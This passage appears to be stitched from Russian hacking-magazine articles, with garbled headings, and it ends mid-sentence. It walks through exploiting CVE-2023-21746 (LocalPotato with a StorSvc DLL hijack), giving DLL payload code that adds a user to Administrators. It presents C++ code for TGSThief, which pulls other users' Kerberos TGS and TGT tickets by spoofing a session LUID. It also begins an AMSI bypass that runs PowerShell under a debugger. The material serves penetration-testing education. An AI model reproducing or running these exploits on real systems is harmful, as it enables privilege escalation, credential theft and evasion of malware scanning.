поэтому сначала поговорим о том, как она инновационных технологий
и кибербезопасности
устроена, а потом перейдем непосредс- AP Security

твенно к разбору CVE-2023-21746.

NTLM-ÀÓÒÅÍÒÈÔÈÊÀÖÈß

Предположим, пользователь хочет получить доступ к файловому ресурсу


на другом компьютере или сервере. Аутентификация выполняется в четыре
этапа:
1. Пользователь отправляет серверу запрос с именем учетной записи.
2. В ответ сервер отправляет ему случайное число, называемое challenge.
3. Пользователь шифрует это число своим NT-хешем и отправляет обратно.
4. Сервер извлекает из SAM (Security Account Manager — RPC-сервер
Windows, оперирующий базой данных учетных записей) хеш пользователя
и проделывает те же самые действия, что и пользователь, сравнивая
полученные хеши. Если результаты совпали, то аутентификация считается
успешной.

ËÎÊÀËÜÍÀß ÀÓÒÅÍÒÈÔÈÊÀÖÈß NTLM

Рассмотрим локальную аутентификацию NTLM, которая начинается с аутен-


тификации пользователя на самой машине.

Эта аутентификация выполняется следующим образом:


1. Пользователь вводит свои учетные данные, логин и пароль, при входе
на машину.
2. Введенные данные передаются подсистеме локальной безопасности LSA,
которая преобразует пароль в хеш.
3. Далее LSA передает имя пользователя SAM, который извлекает хеш ука-
занного пользователя.
4. LSA сверяет хеши, и если они совпадают, то пользователь получает доступ
к машине.

Далее срабатывает рассмотренный выше механизм, основанный на модели


клиент — сервер.
Локальная аутентификация NTLM — это частный случай, она применяется,
когда клиентская и серверная части работают на одной машине.
Клиент получает учетные данные вошедшего в систему пользователя
и создает запрос, содержащий имя рабочей станции и домена клиента.

Сообщение типа 1. Клиент посылает это сообщение для начала соединения.


Оно используется для согласования параметров аутентификации, как и рань-
ше, но также содержит имя клиентской машины и ее домен. Сервер может
проверить имя и домен клиента, и, если они совпадают с его собственными,
начинается процесс локальной аутентификации.
Сообщение типа 2. Сервер создает контекст безопасности, вызывая фун-
кцию AcceptSecurityContext (NTLM), и в этом сообщении отправляет кли-
енту его идентификатор. Затем клиент может использовать идентификатор
контекста безопасности, чтобы связать себя с соединением.
Сообщение 3-го типа. Клиент получает токен и передает его
в InitializeSecurityContext (NTLM). Если InitializeSecurityContext
(NTLM) возвращает SEC_E_OK, то взаимная аутентификация завершена
и можно начинать защищенный сеанс. Если же он возвращает код ошибки, то
переговоры о взаимной аутентификации завершаются. В противном случае
токен безопасности, возвращенный InitializeSecurityContext (NTLM),
отправляется клиенту и шаги 2 и 3 повторяются.

ÊÀÊ ÐÀÁÎÒÀÅÒ LOCALPOTATO

LocalPotato использует недостаток в механизме локальной аутентификации


NTLM. Эксплоит обманывает привилегированный процесс и заставляет
аутентифицировать сеанс, запущенный хакером. В результате атакующий
получает соединение, предоставляющее ему доступ к любым ресурсам
с привилегиями обманутого процесса.
«Картошка» работает следующим образом:
1. Хакер запускает привилегированный процесс для подключения к подкон-
трольному ему серверу. В принципе, это работает аналогично предыду-
щим Potato, когда непривилегированный пользователь заставлял ОС соз-
давать соединения, использующие права SYSTEM.
2. Сервер на машине создаст контекст безопасности А для привилегирован-
ного соединения, но не будет отправлять его сразу. Хакер запустит свой
клиент, чтобы он одновременно с локальным инициировал соединение
с сервером. Легитимный клиент отправляет сообщение, чтобы иницииро-
вать соединение, а сервер в ответ пошлет сообщение с идентификатором
нового контекста безопасности Б.
3. Злоумышленник также запускает свой сервер и меняет идентификаторы
контекстов обоих соединений таким образом, чтобы привилегированный
процесс получил контекст соединения с сервером злоумышленника, а не
со своим собственным. В результате хакер сможет получить доступ
к любому сетевому ресурсу с привилегиями SYSTEM.

STORSVC È DLL HIJACKING

До сих пор мы использовали LocalPotato для записи любых файлов


на целевую машину. Чтобы получить привилегированную оболочку, нам нужно
выяснить, как использовать произвольную запись для выполнения команды.
Недавно был обнаружен еще один вектор повышения привилегий, когда
злоумышленник мог перехватить отсутствующую DLL для выполнения про-
извольных команд с привилегиями SYSTEM. Единственная проблема этого
вектора заключалась в том, что для его запуска злоумышленнику необходимо
было записать DLL в системную переменную PATH. По умолчанию в PATH
Windows включаются только те каталоги, в которые могут писать лишь при-
вилегированные учетные записи. Хотя можно найти машины, на которых уста-
новка определенных приложений изменила переменную PATH и сделала
машину уязвимой, вектор атаки применим только к конкретным сценариям.
Комбинирование данной атаки с LocalPotato позволяет преодолеть это огра-
ничение и получить полностью рабочий эксплоит для повышения привилегий.
Как выяснила компания BlackArrow, злоумышленник может отправить RPC-
вызов методу SvcRebootToFlashingMode, предоставляемому службой
StorSvc, что, в свою очередь, приведет к попытке загрузки отсутствующей
DLL под названием SprintCSP.dll.

Если ты незнаком с RPC, то считай, что это API, который раскрывает функции
для удаленного использования. В описанном случае служба StorSvc раскры-
вает метод SvcRebootToFlashingMode, который может вызвать любой
человек, имеющий доступ к машине.
Поскольку StorSvc работает с привилегиями SYSTEM, создание
SprintCSP.dll где-нибудь в PATH приведет к загрузке библиотеки при каж-
дом вызове SvcRebootToFlashingMode.

ÊÎÌÏÈËßÖÈß ÝÊÑÏËÎÈÒÀ

Теперь, когда мы знаем всю теоретическую базу, мы можем приступить


к выполнению практической части. Все необходимое для дальнейших дей-
ствий можно найти в репозитории на GitHub.
Чтобы воспользоваться эксплоитом CVE-2023-21746, сначала надо ском-
пилировать два файла:
• SprintCSP.dll. Это недостающая DLL, которую мы собираемся перех-
ватить. Код по умолчанию, поставляемый с эксплоитом, выполняет коман-
ду whoami и выводит ответ в C:\Program Data\whoamiall.txt. Нам
нужно изменить команду, чтобы достигнуть нашей цели;
• RpcClient.exe. Эта программа запустит RPC-вызов
SvcRebootToFlashingMode. В зависимости от версии Windows,
на которую нацелен эксплоит, его код может потребоваться немного под-
править, поскольку в разных версиях Windows используются разные иден-
тификаторы интерфейсов для раскрытия SvcRebootToFlashingMode.

Для начала разберемся с файлом RpcClient.exe. Как уже говорилось, нам


потребуется изменить эксплоит в зависимости от версии Windows на целевой
машине. Для этого нужно отредактировать первые строки файла C:\tools\
LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c так, чтобы выбира-
лась нужная операционная система. Поскольку моя машина работает
под управлением Windows Server 2019, я отредактирую файл следующим
образом.

Это настроит эксплоит на использование корректного идентификатора


интерфейса RPC для моей версии Windows. Теперь, когда код исправлен,
скомпилируем необходимые нам инструменты.

Перед компиляцией SprintCSP.dll нам нужно изменить функцию DoStuff()


в файле SprintCSP\main.c таким образом, чтобы она добавляла нашего
текущего пользователя в группу Administrators. Вот код с нашей заменен-
ной командой:

void DoStuff() {

// Replace all this code by your payload


STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net
localgroup administrators user /add",
NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\
Windows", &si, &pi);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return;
}

Теперь скомпилируем нашу DLL.

ÝÊÑÏËÓÀÒÀÖÈß

Для начала удостоверимся, что наш пользователь действительно не входит


в группу локальных администраторов.

Для успешной эксплуатации StorSvc необходимо скопировать SprintCSP.


dll в любую директорию текущей PATH. Проверить PATH можно, выполнив
следующую команду:

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\


Environment" -v Path

Мы будем использовать каталог %SystemRoot%\system32, который расширя-


ется до C:\windows\system32. Однако ты можешь использовать любой
из этих двух каталогов.
Теперь, когда все готово, можем запустить LocalPotato:

LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

DLL успешно записалась в System32! Теперь мы можем запустить


RpcClient.exe для запуска вызова SvcRebootToFlashingMode, выполнив
полезную нагрузку в нашей DLL.

Чтобы удостовериться, что эксплоит сработал, проверим, находится ли наш


пользователь в группе администраторов.

ÂÛÂÎÄ

После успешного срабатывания эксплоита мы можем выполнить любые дей-


ствия от лица администратора под учетной записью пользователя user. Нап-
ример, запустить командную строку.

Оптимальная защита от эксплуатации этой уязвимости (как и других подоб-


ных) — своевременно устанавливать обновления безопасности Microsoft.
Тем не менее даже в этом случае некоторые протоколы, использующие NTLM
в качестве метода аутентификации, могут быть уязвимы для подобных атак.
COVERSTORY

Есть разные способы злоупотреблять сес-


сией пользователя на устройстве: кража
учетных данных, манипуляции с токенами
и другие. Но знаешь ли ты, что можно
сымитировать получение TGT-билета поль- MichelleVermishelle
@Michaelzhm
зователем через совершенно легитимные michael.zhmailo@yandex.ru

функции Windows?

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

В этом году появилось несколько новых способов из такого разряда. Наибо-


лее интересные — WTSImpersonator и GIUDA. Последний позволяет получать
тикеты залогиненного пользователя, даже не зная его пароля! Давай раз-
беремся, как это работает, а параллельно напишем реализацию на C++,
которую я назвал TGSThief.

LOGON SESSION

При входе пользователя в Windows появляется сессия пользователя, которая


хранит все данные о нем. Для каждого нового пользователя создается новая
сессия. Например, если на компьютере одновременно работают два поль-
зователя, то будет две сессии.

Как выглядят Logon Sessions

Каждая сессия определяется с помощью LUID (locally unique identier).


Из названия понятно, что LUID уникален для каждой сессии. Информация
хранится в виде одноименной структуры.

typedef struct _LUID {


ULONG LowPart;
LONG HighPart;
} LUID, *PLUID;

Сам LUID представлен в виде двух значений: ULONG и LONG. Причем обычно
заполняется лишь поле LowPart, а HighPart имеет значение 0.
Эта структура используется во всех функциях WinAPI, которые так или ина-
че связаны с сессиями пользователя.
С помощью GetTokenInformation() можно получить LUID пользователя.
Для этого функции следует передать токен процесса, запущенного от имени
текущего пользователя.

#include <windows.h>
#include <iostream>
#include <sddl.h>

int main() {
HANDLE tokenHandle;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &


tokenHandle)) {
std::cerr << "Ошибка OpenProcessToken: " << GetLastError() << std
::endl;
return 1;
}

DWORD tokenInformationLength = 0;
GetTokenInformation(tokenHandle, TokenStatistics, nullptr, 0, &
tokenInformationLength);
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
std::cerr << "GetTokenInformation неудачный первый вызов: " <<
GetLastError() << std::endl;
CloseHandle(tokenHandle);
return 1;
}

TOKEN_STATISTICS* tokenStats = reinterpret_cast<TOKEN_STATISTICS*>(


new BYTE[tokenInformationLength]);
if (tokenStats == nullptr) {
std::cerr << "Ошибка выделения памяти для TOKEN_STATISTICS" <<
std::endl;
CloseHandle(tokenHandle);
return 1;
}

if (!GetTokenInformation(tokenHandle, TokenStatistics, tokenStats,


tokenInformationLength, &tokenInformationLength)) {
std::cerr << "Ошибка GetTokenInformation: " << GetLastError() <<
std::endl;
delete[] tokenStats;
CloseHandle(tokenHandle);
return 1;
}

std::cout << "LUID: " << std::hex << "0x" << std::uppercase <<
tokenStats->AuthenticationId.LowPart << tokenStats->AuthenticationId.
HighPart << std::endl;

delete[] tokenStats;
CloseHandle(tokenHandle);

return 0;
}

Информация о LUID пользователя упадет в поле AuthenticationId струк-


туры TOKEN_STATISTICS.

typedef struct _TOKEN_STATISTICS {


LUID TokenId;
LUID AuthenticationId;
LARGE_INTEGER ExpirationTime;
TOKEN_TYPE TokenType;
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
DWORD DynamicCharged;
DWORD DynamicAvailable;
DWORD GroupCount;
DWORD PrivilegeCount;
LUID ModifiedId;
} TOKEN_STATISTICS, *PTOKEN_STATISTICS;

Именно на манипуляциях с LUID основана логика инструмента GIUDA. Фак-


тически идет подмена LUID, что открывает возможность запросить билет
от лица пользователя, чья сессия просто присутствует на устройстве. Свой
LUID мы получать научились, а как получать LUID других пользователей?
Конечно, можем перечислить все процессы, запросить токен каждого про-
цесса, извлечь LUID, но это неудобно. Поэтому следует использовать фун-
кцию LsaEnumerateLogonSessions().

NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);

• LogonSessionCount — в этом параметре вернется количество сессий


в системе;
• LogonSessionList — в этом параметре будет список LUID сессий
на системе.

Вот пример перечисления всех сессий в системе:

#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#pragma comment(lib, "Secur32.lib")

int main() {
setlocale(LC_ALL, "");
ULONG logonSessionCount = 0;
PLUID logonSessionList = nullptr;

NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &


logonSessionList);
if (status != STATUS_SUCCESS) {
std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status <<
std::endl;
return 1;
}

std::cout << "Количество сеансов входа в систему: " <<


logonSessionCount << std::endl;
for (ULONG i = 0; i < logonSessionCount; ++i) {
std::cout << "Сеанс №" << i + 1 << std::endl;
std::cout << "LUID: " << std::hex << "0x" << std::uppercase <<
logonSessionList[i].LowPart << logonSessionList[i].HighPart << std::
endl;
std::cout << std::endl;
}

LsaFreeReturnBuffer(logonSessionList);

return 0;
}

Результат выполнения программы

К сожалению, из одного LUID не очень понятно, что представляет собой эта


сессия. Хотелось бы получить хотя бы имя пользователя. Для этого применя-
ется функция LsaGetLogonSessionData().

NTSTATUS LsaGetLogonSessionData(
[in] PLUID LogonId,
[out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);

Функция принимает LUID, информацию о котором нужно получить, а возвра-


щает структуру SECURITY_LOGON_SESSION_DATA.

typedef struct _SECURITY_LOGON_SESSION_DATA {


ULONG Size;
LUID LogonId;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING LogonDomain;
LSA_UNICODE_STRING AuthenticationPackage;
ULONG LogonType;
ULONG Session;
PSID Sid;
LARGE_INTEGER LogonTime;
LSA_UNICODE_STRING LogonServer;
LSA_UNICODE_STRING DnsDomainName;
LSA_UNICODE_STRING Upn;
ULONG UserFlags;
LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
LSA_UNICODE_STRING LogonScript;
LSA_UNICODE_STRING ProfilePath;
LSA_UNICODE_STRING HomeDirectory;
LSA_UNICODE_STRING HomeDirectoryDrive;
LARGE_INTEGER LogoffTime;
LARGE_INTEGER KickOffTime;
LARGE_INTEGER PasswordLastSet;
LARGE_INTEGER PasswordCanChange;
LARGE_INTEGER PasswordMustChange;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

В этой структуре — масса информации о пользователе: имя юзера, пакет


аутентификации, через который он прошел проверку, и его флаги. Подробно
с описанием каждого элемента структуры можешь ознакомиться в докумен-
тации. Нас же будут интересовать поля LogonDomain и UserName. Следующая
функция позволяет извлечь их, принимает только LUID.

std::wstring GetUserNameFromLogonId(LUID LogonId)


{
PSECURITY_LOGON_SESSION_DATA pSessionData = NULL;
if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) {
return L"";
}

std::wstring domainName(pSessionData->LogonDomain.Buffer,
pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.
Buffer));
std::wstring userName(pSessionData->UserName.Buffer, pSessionData->
UserName.Buffer + wcslen(pSessionData->UserName.Buffer));
LsaFreeReturnBuffer(pSessionData);

return domainName + L"\" + userName;


}

Вот полный код программы с изменениями:

#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#pragma comment(lib, "Secur32.lib")

std::wstring GetUserNameFromLogonId(LUID LogonId)


{
PSECURITY_LOGON_SESSION_DATA pSessionData = NULL;
if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) {
return L"";
}

std::wstring domainName(pSessionData->LogonDomain.Buffer,
pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.
Buffer));
std::wstring userName(pSessionData->UserName.Buffer, pSessionData->
UserName.Buffer + wcslen(pSessionData->UserName.Buffer));
LsaFreeReturnBuffer(pSessionData);

return domainName + L"\" + userName;


}

int main() {
setlocale(LC_ALL, "");
ULONG logonSessionCount = 0;
PLUID logonSessionList = nullptr;

NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &


logonSessionList);
if (status != STATUS_SUCCESS) {
std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status <<
std::endl;
return 1;
}

std::cout << "Количество сеансов входа в систему: " <<


logonSessionCount << std::endl;
for (ULONG i = 0; i < logonSessionCount; ++i) {
std::cout << "Сеанс №" << i + 1 << std::endl;
std::wcout << L"LUID: " << std::hex << L"0x" << std::uppercase <
< logonSessionList[i].LowPart << logonSessionList[i].HighPart << L"
" << GetUserNameFromLogonId(logonSessionList[i]) << std::endl;
std::cout << std::endl;
}

LsaFreeReturnBuffer(logonSessionList);

return 0;
}

Результат выполнения программы

Отлично! Как выглядят сессии, мы разобрались. Теперь пора показать,


как запрашиваются билеты Kerberos самой LSA. Это поможет нам подменить
LUID и получить чужой тикет.

Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ

ПОЛУЧАЕМ БИЛЕТЫ TGT МЕТОДОМ


GIUDA

ÊÀÊ LSA ÇÀÏÐÀØÈÂÀÅÒ ÁÈËÅÒÛ KERBEROS

Для запроса TGS-билета LSA получает SPN (service principal name, иден-
тификатор службы) и передает на KDC. Мы можем запрашивать билеты TGS
сами. Для этого есть функция LsaCallAuthenticationPackage().

NTSTATUS LsaCallAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] ULONG AuthenticationPackage,
[in] PVOID ProtocolSubmitBuffer,
[in] ULONG SubmitBufferLength,
[out] PVOID *ProtocolReturnBuffer,
[out] PULONG ReturnBufferLength,
[out] PNTSTATUS ProtocolStatus
);

Здесь
• LsaHandle — хендл, указывающий на службу LSA, который можно
получить с помощью LsaRegisterLogonProcess() или LsaConnectUntrusted();
• AuthenticationPackage — номер AP, с которым следует взаимодей-
ствовать;
• ProtocolSubmitBuffer — передаваемый буфер, мы будем отдавать
KERB_RETRIEVE_TKT_REQUEST;
• SubmitBufferLength — размер передаваемого буфера;
• ProtocolReturnBuffer — ответ от AuthenticationPackage. Нам
прилетит структура KERB_RETRIEVE_TKT_RESPONSE;
• ReturnBufferLength — размер буфера с ответом;
• ProtocolStatus — значение, которое будет содержать код ошибки
от AP.

Итак, как заполнить KERB_RETRIEVE_TKT_REQUEST, чтобы получить билет


TGS? Структура выглядит вот так:

typedef struct _KERB_RETRIEVE_TKT_REQUEST {


KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId;
UNICODE_STRING TargetName;
ULONG TicketFlags;
ULONG CacheOptions;
LONG EncryptionType;
SecHandle CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

Здесь
• MessageType — то, что нам нужно получить от AP. Указываем
KerbRetrieveEncodedTicketMessage;
• LogonID — LUID сессии, от лица которой происходит обращение к AP.
Именно в этот момент и будет подменен LUID. Проблема в том, что если
мы подключились к LSA через LsaConnectUntrusted(), то у нас
не получится указать здесь LUID чужой сессии — LSA выдаст ошибку 0x5
ERROR_ACCESS_DENIED, но если мы подключимся через
LsaRegisterLogonProcess(), то сможем передавать сюда любой
желанный LUID. И таким образом сможем запрашивать билеты из чужой
сессии;
• TargetName — здесь указываем SPN службы, на которую нужно получить
билет;
• CacheOptions — опции, связанные с кешем LSA. Кеш LSA — это некое
хранилище, в котором лежат билеты. Здесь тоже есть некоторые особен-
ности. Если мы сразу укажем KERB_RETRIEVE_TICKET_AS_KERB_CRED
(значение для получения билета в форме KRB_CRED, сразу с сессионным
ключом; подробности — в другой моей статье), то есть шанс не получить
билет. Проблема в том, что в кеше LSA может не быть билета для той служ-
бы, на которую мы хотим сходить. И если мы сразу указываем
KERB_RETRIEVE_TICKET_AS_KERB_CRED, то LSA может просто не вер-
нуть никакого билета, поскольку возвращать нечего. Поэтому придется
дважды вызвать функцию LsaCallAuthenticationPackage(). Первый
раз — со значением KERB_RETRIEVE_TICKET_DEFAULT, второй —
с KERB_RETRIEVE_TICKET_AS_KERB_CRED. ...DEFAULT отвечает
за запрос билета. То есть просим LSA обратиться к KDC и получить билет;
• EncryptionType — желаемый тип шифрования для запрошенного
билета. Указываем KERB_ETYPE_DEFAULT — нам не принципиален тип
шифрования;
• CredentialsHandle — используется для SSPI, в данном случае неваж-
но.

ÊÐÀÄÅÌ ÁÈËÅÒ

Мы разобрались с тем, как работает запрос билетов Kerberos на локальной


системе. Пора переходить к эксплуатации! Полный исходный код проекта
можешь посмотреть в моем репозитории.
Сначала мы перечисляем все имеющиеся сессии, для этого я создал фун-
кцию LogonInfo(). Она принимает указатель на структуру LUID, которая
будет проинициализирована нужной сессией. Фактически — у какого поль-
зователя нужно стащить билет. Ну или не «стащить», а получить новый, абсо-
лютно свежий и чистый билет для каждого пользователя.

BOOL LogonInfo(LUID* LogonSession)


{
std::vector<LUID> logonIds;
PLUID sessions;
ULONG sessionCount;
if (LsaEnumerateLogonSessions(&sessionCount, &sessions) != 0) {
return FALSE;
}

for (ULONG i = 0; i < sessionCount; ++i) {


logonIds.push_back(sessions[i]);
}

LsaFreeReturnBuffer(sessions);

for (size_t i = 0; i < logonIds.size(); ++i) {


std::wcout << L"\t[!] Index: " << i << L", Logon ID: " << to_hex(
logonIds[i].LowPart) << ", Username: " << GetUserNameFromLogonId(
logonIds[i]) << '\n';
}

size_t index;
std::cout << "\n[?] Enter index of logon session: ";
std::cin >> index;

if (index < logonIds.size()) {


LUID selectedLogonId = logonIds[index];
*LogonSession = selectedLogonId;
return TRUE;
}
else {
return FALSE;
}
return FALSE;
}

Пример работы функции

Следующим шагом подключаемся к LSA с помощью


LsaRegisterLogonProcess(), чтобы передать LUID чужой сессии. Для вызова
этой функции нужна привилегия SeTcbPrivilege. Ей обладает только учетная
запись системы. Привилегию, конечно, можно назначить и руками через GPO
или с помощью Privileger.

Добавление привилегии SeTcbPrivilege

Чувствуешь, что это несколько неудобно? Поэтому я добавил в код простей-


ший алгоритм для повышения привилегий до учетной записи системы. Здесь
все стандартно:
1. Получаем привилегии SeDebugPrivilege
и SeImpersonatePrivilege.
2. Получаем токен процесса, запущенного от лица системы. Я получаю токен
с Winlogon.
3. Применяем токен к нашей программе с помощью
ImpersonateLoggedOnUser().

Код я выделил в отдельный файл getsystem.cpp.


Теперь у нас есть привилегия SeTcbPrivilege, так как ей обладает учет-
ная запись системы. Следующим шагом с помощью
LsaLookupAuthenticationPackage() получаем номер AP Kerberos.
Наконец у нас есть хендл, LUID и номер AP Kerberos. Пора ломать!
Для этого я написал отдельную функцию AskTgs(). Она принимает все эти
данные.

BOOL AskTgs(HANDLE hLsa, ULONG AP, LUID logonId, LPCWSTR szTarget,


LUID originaLuid) {
...
}

Сначала готовим две структуры — KERB_RETRIEVE_TKT_REQUEST


и KERB_RETRIEVE_TKT_RESPONSE. Первую инициализируем значениями,
которые я уже описывал.

PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t));
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_DEFAULT;
pKerbRetrieveRequest->EncryptionType = KERB_ETYPE_DEFAULT;
pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;
pKerbRetrieveRequest->LogonId = logonId;
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)
pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));

RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget,
pKerbRetrieveRequest->TargetName.MaximumLength);

И вызываем LSA:

NTSTATUS status = LsaCallAuthenticationPackage(hLsa, AP,


pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData
, &packageStatus);

Теперь LSA обратится к KDC и получит новый тикет. Если мы сразу же поп-
робуем его извлечь, то он не будет валидным. Точнее, в нем не будет сес-
сионного ключа и пользоваться им не получится.
Поэтому, убедившись, что вызов успешно совершен, меняем
CacheOptions на KERB_RETRIEVE_TICKET_AS_KERB_CRED и обращаемся
к LSA.

if (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS) {
pKerbRetrieveRequest->CacheOptions =
KERB_RETRIEVE_TICKET_AS_KERB_CRED;
status = LsaCallAuthenticationPackage(hLsa, AP,
pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData
, &packageStatus);
if (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS) {
std::wcout << L"[+] Asking for TGS Success" << std::endl;
std::cout << "[+] Ticket: " << base64_encode(
pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->
Ticket.EncodedTicketSize) << std::endl;

Билет будет лежать в поле Ticket.EncodedTicket. Предлагаю посмотреть,


как это работает.
Представим, что во время пентеста мы сломали машину, на которую ходит
пользователь CRINGE\petka. Запускаем TGSThief и видим его сессию.
Передаем номер его сессии.

Указание сессии

Затем прописываем нужный SPN, то есть службу, на которую нужно получить


TGS-билет. И получаем его.

Успешный инжект билета

Успех! Теперь можем ходить от лица CRINGE\petka на dc01.cringe.lab.

TGT — ÝÒÎ TGS

Казалось бы, получение билета TGS — отличный результат! Но всегда хочется


большего, правда? Знаешь ли ты, что билет TGT — это фактически билет TGS,
но на службу krbtgt? Получается, что у нас есть TGS-билет на krbtgt, а служба
krbtgt позволяет выписывать другие TGS-билеты. Вот и всё.
К такому выводу я пришел, когда писал дампер билетов. Доказать проще
простого: вновь запускаем TGSThief, только в этот раз указываем krbtgt/
cringe.lab.

Получение TGT-билета

Бинго! Мы можем запрашивать чужие билеты TGT! Таким образом, если


при пентесте удалось захватить какой-то хост, куда ходят пользователи, то,
используя TGSThief, получится раздобыть и TGT этих пользователей. Причем
билеты TGT будут абсолютно свежие, новые, только что запрошенные.

ÂÛÂÎÄÛ

Теперь ты знаешь, как злоупотреблять сессиями пользователей по-новому.


Эта атака в очередной раз подтверждает, что на системы нельзя ходить
от лица администратора домена. В противном случае атакующий сможет зах-
ватить всю сеть в считаные минуты.
COVERSTORY

Antimalware Scan Interface — система,


которую в Microsoft создали для защиты
от вредоносных сценариев на PowerShell.
В этой статье я продемонстрирую,
как работает один из методов обхода этого MichelleVermishelle
@Michaelzhm
механизма. Мы будем запускать сценарий michael.zhmailo@yandex.ru

PowerShell как процесс под отладкой, что


откроет некоторые интересные возможнос-
ти.

На высоком уровне AMSI хукает каждую команду или сценарий во время


выполнения и передает их локальному антивирусному ПО для проверки. При-
чем поддерживаются практически любые антивирусы, это может быть
не только стандартный Defender.
AMSI умеет работать:
• с PowerShell;
• Windows Script Host (wscript и cscript);
• JavaScript и VBScript;
• VBA-макросами.

Проблема такой реализации в том, что amsi.dll (в которой реализована вся


логика AMSI) находится в адресном пространстве текущего процесса.
Как следствие, у атакующих появляется возможность манипулировать этой
библиотекой так, как они захотят сами. Уже придумано множество способов
обхода, это и amsiInitFailed, и хукинг, и патчинг. Сегодня мы обсудим еще один
метод обхода — запуск процесса PowerShell в режиме отладки.

ÑÒÀÍÎÂÈÌÑß ÄÅÁÀÃÃÅÐÎÌ

Недавно я обнаружил интересную API-функцию DebugActiveProcess(),


которая позволяет нашему процессу стать дебаггером для другого процесса.
Прототип у нее очень простой, ей нужно передать лишь PID процесса,
который требуется отлаживать.

BOOL DebugActiveProcess(
[in] DWORD dwProcessId
);

К сожалению, абы какой процесс отлаживать не получится. Успешный вызов


этой функции получится, только если выполняется хотя бы одно из следующих
условий:
• у токена нашего процесса есть SeDebugPrivilege;
• мы можем запросить хендл на отлаживаемый процесс с маской
PROCESS_ALL_ACCESS.

Казалось бы, требования более чем серьезные, но ничто не мешает нам


запустить процесс powershell.exe как дочерний, а на дочерний процесс
наш родительский уж точно сможет запросить маску PROCESS_ALL_ACCESS.
Что же нам даст статус дебаггера? Единственное преимущество — воз-
можность обрабатывать Debug-события, среди которых
LOAD_DLL_DEBUG_EVENT. Событие генерируется сразу же, как только идет
попытка загрузки DLL в адресное пространство отлаживаемого процесса.
Причем будет заполнена структура LOAD_DLL_DEBUG_INFO, содержащая
базовый адрес подгружаемой библиотеки. А с базовым адресом уже можно
наворотить немало дел...
Предлагаю перейти к практике. Во-первых, мы не можем слепо взять
и запустить процесс, а потом непонятно когда прицепиться к нему отладчи-
ком — так есть шанс пропустить момент загрузки amsi.dll в процесс. Поэто-
му процесс должен быть запущен с флагом CREATE_SUSPENDED. Во-вторых,
из-за того, что мы никак не обрабатываем Debug-события, приложение
может упасть. Поэтому после того, как пропатчим AMSI, следует как можно
скорее переставать быть дебаггером.
Для создания процесса я написал отдельную функцию
StartProcessSuspended().

DWORD StartProcessSuspended(LPWSTR ProcName, HANDLE& hThread, HANDLE&


hProc) {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;

if (!CreateProcess(ProcName, NULL, NULL, NULL, FALSE,


CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
DWORD err = GetLastError();
std::cout << h("[-] Cant Create Suspended Process : ") << err
<< " " << GetWinapiErrorDescription(err) << std::endl;
return -1;
}
hThread = pi.hThread;
hProc = pi.hProcess;

#ifdef DEBUG
std::cout << h("[+] Process Created Successfully") << std::endl;
#endif

return pi.dwProcessId;

Здесь дополнительно указан флаг CREATE_NEW_CONSOLE. Он нужен, чтобы


